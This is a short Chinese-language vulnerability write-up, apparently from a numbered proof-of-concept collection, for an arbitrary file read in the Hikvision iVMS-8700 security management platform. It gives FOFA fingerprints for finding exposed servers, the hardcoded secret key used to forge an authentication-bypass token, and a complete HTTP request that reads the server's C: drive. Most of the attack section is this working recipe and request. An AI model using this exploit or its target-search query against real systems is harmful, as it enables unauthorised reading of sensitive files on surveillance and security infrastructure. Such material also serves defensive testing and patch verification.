H13-2海康威视-iVMS-8700综合安防管理平台-任意文件读取

漏洞描述：

HIKVISION iVMS 综合安防管理平台download接口处存在任意文件读取漏洞，攻击者通过构造token绕过身份认证，读取服务器中的目录信息与敏感文件。使系统处于极不安全的状态。

网站图片：

网络测绘：

fofa语法：

cert="o=Hikvision, ou=louyu, cn=ivms8700" || (((body="g_szCacheTime" && body="iVMS") || title="iVMS-" || body="tab-border code-iivms\">" || body=" window.document.location = '/license!getExpireDateOfDays.action';" || body="var uuid = \"2b73083e-9b29-4005-a123-1d4ec47a36d5\"; // 用于检测VMS是否超时, chenliangyf1" || (body="class=\"ename\">iVMS-4200" && body="laRemPassword") || (body="//caoshiyan modify 2015-06-30 中转页面" && body="/home/locationIndex.action?time=") || body="

iVMS-4200" || header="Server: If you want know, you can ask me" || body="if (refreshurl == null || refreshurl == '') { window.location.reload();}" || body="class=\"out\">

漏洞复现：

漏洞url/eps/api/triggerSnapshot/download
直接访问发现token需要鉴权（这时候想起之前复现海康的文件上传了）

构造token绕过认证（内部机制：如果token值与请求url+secretkey的md5值相同就可以绕过认证）
secretkey是代码里写死的（默认值：secretKeyIbuilding）
token值需要进行MD5加密（32位大写）
组合：token=MD5(url+"secretKeyIbuilding")

携带token进行文件读取
PoC

```
GET /eps/api/triggerSnapshot/download?token=构造的token&fileUrl=file:///C:/&fileName=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
```

读取C盘根目录文件